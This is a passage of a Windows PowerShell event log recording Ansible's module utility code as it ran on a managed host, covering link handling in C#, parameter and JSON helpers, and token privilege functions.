}
}
finally
{
if (newStatePtr != IntPtr.Zero)
Marshal.FreeHGlobal(newStatePtr);
}
return oldStatePrivileges.ToDictionary(p => GetPrivilegeName(p.Luid), p => (bool?)p.Attributes.HasFlag(PrivilegeAttributes.Enabled));
}
private static string GetPrivilegeName(NativeHelpers.LUID luid)
{
UInt32 nameLen = 0;
NativeMethods.LookupPrivilegeName(null, ref luid, null, ref nameLen);
StringBuilder name = new StringBuilder((int)(nameLen + 1));
if (!NativeMethods.LookupPrivilegeName(null, ref luid, name, ref nameLen))
throw new Win32Exception("LookupPrivilegeName() failed");
return name.ToString();
}
private static void PtrToStructureArray<T>(T[] array, IntPtr ptr)
{
IntPtr ptrOffset = ptr;
for (int i = 0; i < array.Length; i++, ptrOffset = IntPtr.Add(ptrOffset, Marshal.SizeOf(typeof(T))))
array[i] = (T)Marshal.PtrToStructure(ptrOffset, typeof(T));
}
private static int StructureToBytes<T>(T structure, byte[] array, int offset)
{
int size = Marshal.SizeOf(structure);
IntPtr structPtr = Marshal.AllocHGlobal(size);
try
{
Marshal.StructureToPtr(structure, structPtr, false);
Marshal.Copy(structPtr, array, offset, size);
}
finally
{
Marshal.FreeHGlobal(structPtr);
}
return size;
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = 6b1f9eb3-d808-4f11-bda9-af30cc584eb0
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = f843b1ba-3dc1-4d3e-bc8b-40e07628eb96
Pipeline ID = 8
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 36
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 2133 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4564 | 5056 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:55 AM | 61e00a24-ee3b-0003-d70b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace Ansible
{
public enum LinkType
{
SymbolicLink,
JunctionPoint,
HardLink
}
public class LinkUtilWin32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public LinkUtilWin32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public LinkUtilWin32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator LinkUtilWin32Exception(string message) { return new LinkUtilWin32Exception(message); }
}
public class LinkInfo
{
public LinkType Type { get; internal set; }
public string PrintName { get; internal set; }
public string SubstituteName { get; internal set; }
public string AbsolutePath { get; internal set; }
public string TargetPath { get; internal set; }
public string[] HardTargets { get; internal set; }
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct REPARSE_DATA_BUFFER
{
public UInt32 ReparseTag;
public UInt16 ReparseDataLength;
public UInt16 Reserved;
public UInt16 SubstituteNameOffset;
public UInt16 SubstituteNameLength;
public UInt16 PrintNameOffset;
public UInt16 PrintNameLength;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = LinkUtil.MAXIMUM_REPARSE_DATA_BUFFER_SIZE)]
public char[] PathBuffer;
}
public class LinkUtil
{
public const int MAXIMUM_REPARSE_DATA_BUFFER_SIZE = 1024 * 16;
private const UInt32 FILE_FLAG_BACKUP_SEMANTICS = 0x02000000;
private const UInt32 FILE_FLAG_OPEN_REPARSE_POINT = 0x00200000;
private const UInt32 FSCTL_GET_REPARSE_POINT = 0x000900A8;
private const UInt32 FSCTL_SET_REPARSE_POINT = 0x000900A4;
private const UInt32 FILE_DEVICE_FILE_SYSTEM = 0x00090000;
private const UInt32 IO_REPARSE_TAG_MOUNT_POINT = 0xA0000003;
private const UInt32 IO_REPARSE_TAG_SYMLINK = 0xA000000C;
private const UInt32 SYMLINK_FLAG_RELATIVE = 0x00000001;
private const Int64 INVALID_HANDLE_VALUE = -1;
private const UInt32 SIZE_OF_WCHAR = 2;
private const UInt32 SYMBOLIC_LINK_FLAG_FILE = 0x00000000;
private const UInt32 SYMBOLIC_LINK_FLAG_DIRECTORY = 0x00000001;
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
private static extern SafeFileHandle CreateFile(
string lpFileName,
[MarshalAs(UnmanagedType.U4)] FileAccess dwDesiredAccess,
[MarshalAs(UnmanagedType.U4)] FileShare dwShareMode,
IntPtr lpSecurityAttributes,
[MarshalAs(UnmanagedType.U4)] FileMode dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
// Used by GetReparsePointInfo()
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeviceIoControl(
SafeFileHandle hDevice,
UInt32 dwIoControlCode,
IntPtr lpInBuffer,
UInt32 nInBufferSize,
out REPARSE_DATA_BUFFER lpOutBuffer,
UInt32 nOutBufferSize,
out UInt32 lpBytesReturned,
IntPtr lpOverlapped);
// Used by CreateJunctionPoint()
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeviceIoControl(
SafeFileHandle hDevice,
UInt32 dwIoControlCode,
REPARSE_DATA_BUFFER lpInBuffer,
UInt32 nInBufferSize,
IntPtr lpOutBuffer,
UInt32 nOutBufferSize,
out UInt32 lpBytesReturned,
IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool GetVolumePathName(
string lpszFileName,
StringBuilder lpszVolumePathName,
ref UInt32 cchBufferLength);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern IntPtr FindFirstFileNameW(
string lpFileName,
UInt32 dwFlags,
ref UInt32 StringLength,
StringBuilder LinkName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool FindNextFileNameW(
IntPtr hFindStream,
ref UInt32 StringLength,
StringBuilder LinkName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool FindClose(
IntPtr hFindFile);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool RemoveDirectory(
string lpPathName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeleteFile(
string lpFileName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool CreateSymbolicLink(
string lpSymlinkFileName,
string lpTargetFileName,
UInt32 dwFlags);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool CreateHardLink(
string lpFileName,
string lpExistingFileName,
IntPtr lpSecurityAttributes);
public static LinkInfo GetLinkInfo(string linkPath)
{
FileAttributes attr = File.GetAttributes(linkPath);
if (attr.HasFlag(FileAttributes.ReparsePoint))
return GetReparsePointInfo(linkPath);
if (!attr.HasFlag(FileAttributes.Directory))
return GetHardLinkInfo(linkPath);
return null;
}
public static void DeleteLink(string linkPath)
{
bool success;
FileAttributes attr = File.GetAttributes(linkPath);
if (attr.HasFlag(FileAttributes.Directory))
{
success = RemoveDirectory(linkPath);
}
else
{
success = DeleteFile(linkPath);
}
if (!success)
throw new LinkUtilWin32Exception(String.Format("Failed to delete link at {0}", linkPath));
}
public static void CreateLink(string linkPath, String linkTarget, LinkType linkType)
{
switch (linkType)
{
case LinkType.SymbolicLink:
UInt32 linkFlags;
FileAttributes attr = File.GetAttributes(linkTarget);
if (attr.HasFlag(FileAttributes.Directory))
linkFlags = SYMBOLIC_LINK_FLAG_DIRECTORY;
else
linkFlags = SYMBOLIC_LINK_FLAG_FILE;
if (!CreateSymbolicLink(linkPath, linkTarget, linkFlags))
throw new LinkUtilWin32Exception(String.Format("CreateSymbolicLink({0}, {1}, {2}) failed", linkPath, linkTarget, linkFlags));
break;
case LinkType.JunctionPoint:
CreateJunctionPoint(linkPath, linkTarget);
break;
case LinkType.HardLink:
if (!CreateHardLink(linkPath, linkTarget, IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("CreateHardLink({0}, {1}) failed", linkPath, linkTarget));
break;
}
}
private static LinkInfo GetHardLinkInfo(string linkPath)
{
UInt32 maxPath = 260;
List<string> result = new List<string>();
StringBuilder sb = new StringBuilder((int)maxPath);
UInt32 stringLength = maxPath;
if (!GetVolumePathName(linkPath, sb, ref stringLength))
throw new LinkUtilWin32Exception("GetVolumePathName() failed");
string volume = sb.ToString();
stringLength = maxPath;
IntPtr findHandle = FindFirstFileNameW(linkPath, 0, ref stringLength, sb);
if (findHandle.ToInt64() != INVALID_HANDLE_VALUE)
{
try
{
do
{
string hardLinkPath = sb.ToString();
if (hardLinkPath.StartsWith("\\"))
hardLinkPath = hardLinkPath.Substring(1, hardLinkPath.Length - 1);
result.Add(Path.Combine(volume, hardLinkPath));
stringLength = maxPath;
} while (FindNextFileNameW(findHandle, ref stringLength, sb));
}
finally
{
FindClose(findHandle);
}
}
if (result.Count > 1)
return new LinkInfo
{
Type = LinkType.HardLink,
HardTargets = result.ToArray()
};
return null;
}
private static LinkInfo GetReparsePointInfo(string linkPath)
{
SafeFileHandle fileHandle = CreateFile(
linkPath,
FileAccess.Read,
FileShare.None,
IntPtr.Zero,
FileMode.Open,
FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS,
IntPtr.Zero);
if (fileHandle.IsInvalid)
throw new LinkUtilWin32Exception(String.Format("CreateFile({0}) failed", linkPath));
REPARSE_DATA_BUFFER buffer = new REPARSE_DATA_BUFFER();
UInt32 bytesReturned;
try
{
if (!DeviceIoControl(
fileHandle,
FSCTL_GET_REPARSE_POINT,
IntPtr.Zero,
0,
out buffer,
MAXIMUM_REPARSE_DATA_BUFFER_SIZE,
out bytesReturned,
IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("DeviceIoControl() failed for file at {0}", linkPath));
}
finally
{
fileHandle.Dispose();
}
bool isRelative = false;
int pathOffset = 0;
LinkType linkType;
if (buffer.ReparseTag == IO_REPARSE_TAG_SYMLINK)
{
UInt32 bufferFlags = Convert.ToUInt32(buffer.PathBuffer[0]) + Convert.ToUInt32(buffer.PathBuffer[1]);
if (bufferFlags == SYMLINK_FLAG_RELATIVE)
isRelative = true;
pathOffset = 2;
linkType = LinkType.SymbolicLink;
}
else if (buffer.ReparseTag == IO_REPARSE_TAG_MOUNT_POINT)
{
linkType = LinkType.JunctionPoint;
}
else
{
string errorMessage = String.Format("Invalid Reparse Tag: {0}", buffer.ReparseTag.ToString());
throw new Exception(errorMessage);
}
string printName = new string(buffer.PathBuffer, (int)(buffer.PrintNameOffset / SIZE_OF_WCHAR) + pathOffset, (int)(buffer.PrintNameLength / SIZE_OF_WCHAR));
string substituteName = new string(buffer.PathBuffer, (int)(buffer.SubstituteNameOffset / SIZE_OF_WCHAR) + pathOffset, (int)(buffer.SubstituteNameLength / SIZE_OF_WCHAR));
// TODO: should we check for \?\UNC\server for convert it to the NT style \\server path
// Remove the leading Windows object directory \?\ from the path if present
string targetPath = substituteName;
if (targetPath.StartsWith("\\??\\"))
targetPath = targetPath.Substring(4, targetPath.Length - 4);
string absolutePath = targetPath;
if (isRelative)
absolutePath = Path.GetFullPath(Path.Combine(new FileInfo(linkPath).Directory.FullName, targetPath));
return new LinkInfo
{
Type = linkType,
PrintName = printName,
SubstituteName = substituteName,
AbsolutePath = absolutePath,
TargetPath = targetPath
};
}
private static void CreateJunctionPoint(string linkPath, string linkTarget)
{
// We need to create the link as a dir beforehand
Directory.CreateDirectory(linkPath);
SafeFileHandle fileHandle = CreateFile(
linkPath,
FileAccess.Write,
FileShare.Read | FileShare.Write | FileShare.None,
IntPtr.Zero,
FileMode.Open,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT,
IntPtr.Zero);
if (fileHandle.IsInvalid)
throw new LinkUtilWin32Exception(String.Format("CreateFile({0}) failed", linkPath));
try
{
string substituteName = "\\??\\" + Path.GetFullPath(linkTarget);
string printName = linkTarget;
REPARSE_DATA_BUFFER buffer = new REPARSE_DATA_BUFFER();
buffer.SubstituteNameOffset = 0;
buffer.SubstituteNameLength = (UInt16)(substituteName.Length * SIZE_OF_WCHAR);
buffer.PrintNameOffset = (UInt16)(buffer.SubstituteNameLength + 2);
buffer.PrintNameLength = (UInt16)(printName.Length * SIZE_OF_WCHAR);
buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
buffer.ReparseDataLength = (UInt16)(buffer.SubstituteNameLength + buffer.PrintNameLength + 12);
buffer.PathBuffer = new char[MAXIMUM_REPARSE_DATA_BUFFER_SIZE];
byte[] unicodeBytes = Encoding.Unicode.GetBytes(substituteName + "\0" + printName);
char[] pathBuffer = Encoding.Unicode.GetChars(unicodeBytes);
Array.Copy(pathBuffer, buffer.PathBuffer, pathBuffer.Length);
UInt32 bytesReturned;
if (!DeviceIoControl(
fileHandle,
FSCTL_SET_REPARSE_POINT,
buffer,
(UInt32)(buffer.ReparseDataLength + 8),
IntPtr.Zero, 0,
out bytesReturned,
IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("DeviceIoControl() failed to create junction point at {0} to {1}", linkPath, linkTarget));
}
finally
{
fileHandle.Dispose();
}
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = 6b1f9eb3-d808-4f11-bda9-af30cc584eb0
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = f843b1ba-3dc1-4d3e-bc8b-40e07628eb96
Pipeline ID = 8
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 34
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 2132 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4564 | 5056 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:54 AM | 61e00a24-ee3b-0003-d50b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 6353e62a-0b30-4c4b-a4b2-a1fcd58f4ef8
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2131 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4564 | 3036 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:54 AM | 61e00a24-ee3b-0000-970b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 2):
e privilege
Each method that changes the privilege state will return a dictionary that
can be used as the $new_state arg of SetTokenPrivileges to undo and revert
back to the original state. If you remove a privilege then this is
irreversible and won't be part of the returned dict
#>
[CmdletBinding()]
# build the C# code to compile
$namespace_import = ($ansible_privilege_util_namespaces | ForEach-Object { "using $_;" }) -join "`r`n"
$platform_util = "$namespace_import`r`n`r`n$ansible_privilege_util_code"
# FUTURE: find a better way to get the _ansible_remote_tmp variable
# this is used to force csc to compile the C# code in the remote tmp
# specified
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $platform_util
$env:TMP = $original_tmp
}
Function Get-AnsiblePrivilege {
<#
.SYNOPSIS
Get the status of a privilege for the current process. This returns
$true - the privilege is enabled
$false - the privilege is disabled
$null - the privilege is removed from the token
If Name is not a valid privilege name, this will throw an
ArgumentException.
.EXAMPLE
Get-AnsiblePrivilege -Name SeDebugPrivilege
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)][String]$Name
)
if (-not [Ansible.PrivilegeUtil.Privileges]::CheckPrivilegeName($Name)) {
throw [System.ArgumentException] "Invalid privilege name '$Name'"
}
$process_token = [Ansible.PrivilegeUtil.Privileges]::GetCurrentProcess()
$privilege_info = [Ansible.PrivilegeUtil.Privileges]::GetAllPrivilegeInfo($process_token)
if ($privilege_info.ContainsKey($Name)) {
$status = $privilege_info.$Name
return $status.HasFlag([Ansible.PrivilegeUtil.PrivilegeAttributes]::Enabled)
} else {
return $null
}
}
Function Set-AnsiblePrivilege {
<#
.SYNOPSIS
Enables/Disables a privilege on the current process' token. If a privilege
has been removed from the process token, this will throw an
InvalidOperationException.
.EXAMPLE
# enable a privilege
Set-AnsiblePrivilege -Name SeCreateSymbolicLinkPrivilege -Value $true
# disable a privilege
Set-AnsiblePrivilege -Name SeCreateSymbolicLinkPrivilege -Value $false
#>
[CmdletBinding(SupportsShouldProcess)]
param(
[Parameter(Mandatory=$true)][String]$Name,
[Parameter(Mandatory=$true)][bool]$Value
)
$action = switch($Value) {
$true { "Enable" }
$false { "Disable" }
}
$current_state = Get-AnsiblePrivilege -Name $Name
if ($current_state -eq $Value) {
return # no change needs to occur
} elseif ($null -eq $current_state) {
# once a privilege is removed from a token we cannot do anything with it
throw [System.InvalidOperationException] "Cannot $($action.ToLower()) the privilege '$Name' as it has been removed from the token"
}
$process_token = [Ansible.PrivilegeUtil.Privileges]::GetCurrentProcess()
if ($PSCmdlet.ShouldProcess($Name, "$action the privilege $Name")) {
$new_state = New-Object -TypeName 'System.Collections.Generic.Dictionary`2[[System.String], [System.Nullable`1[System.Boolean]]]'
$new_state.Add($Name, $Value)
[Ansible.PrivilegeUtil.Privileges]::SetTokenPrivileges($process_token, $new_state) > $null
}
}
Export-ModuleMember -Function Import-PrivilegeUtil, Get-AnsiblePrivilege, Set-AnsiblePrivilege `
-Variable ansible_privilege_util_namespaces, ansible_privilege_util_code
ScriptBlock ID: 4cfdbcbf-fd75-430f-89e1-4b8a09ade906
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2130 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4564 | 3036 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:54 AM | 61e00a24-ee3b-0000-930b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 2):
# Copyright (c) 2018 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
# store in separate variables to make it easier for other module_utils to
# share this code in their own c# code
$ansible_privilege_util_namespaces = @(
"Microsoft.Win32.SafeHandles",
"System",
"System.Collections.Generic",
"System.Linq",
"System.Runtime.InteropServices",
"System.Security.Principal",
